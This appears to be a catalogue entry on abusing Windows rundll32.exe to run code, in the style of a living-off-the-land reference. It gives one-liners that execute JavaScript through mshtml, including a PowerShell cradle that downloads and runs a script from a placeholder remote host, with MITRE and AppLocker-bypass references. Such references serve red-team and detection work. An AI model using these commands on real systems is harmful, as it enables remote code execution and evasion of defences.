Rundll32.exe.md

Rundll32.exe

rundll32.exe AllTheThingsx64,EntryPoint
AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run(powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString("http://ip:port/");
Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
Use Rundll32.exe to execute a JavaScript script that runs calc.exe.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.

• Windows binary: True

• Bypasses Default AppLocker Rules: False

• Mitre: T1085

• Links:

  • https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
  • https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
  • https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
  • https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

• File path:

  • C:\Windows\System32\rundll32.exe
  • C:\Windows\SysWOW64\rundll32.exe

• Acknowledgement:

  • Name: Casey Smith
    • Twitter: @Subtee
    • Blog: https://subt0x11.blogspot.com/

OS:

• Windows 10 1703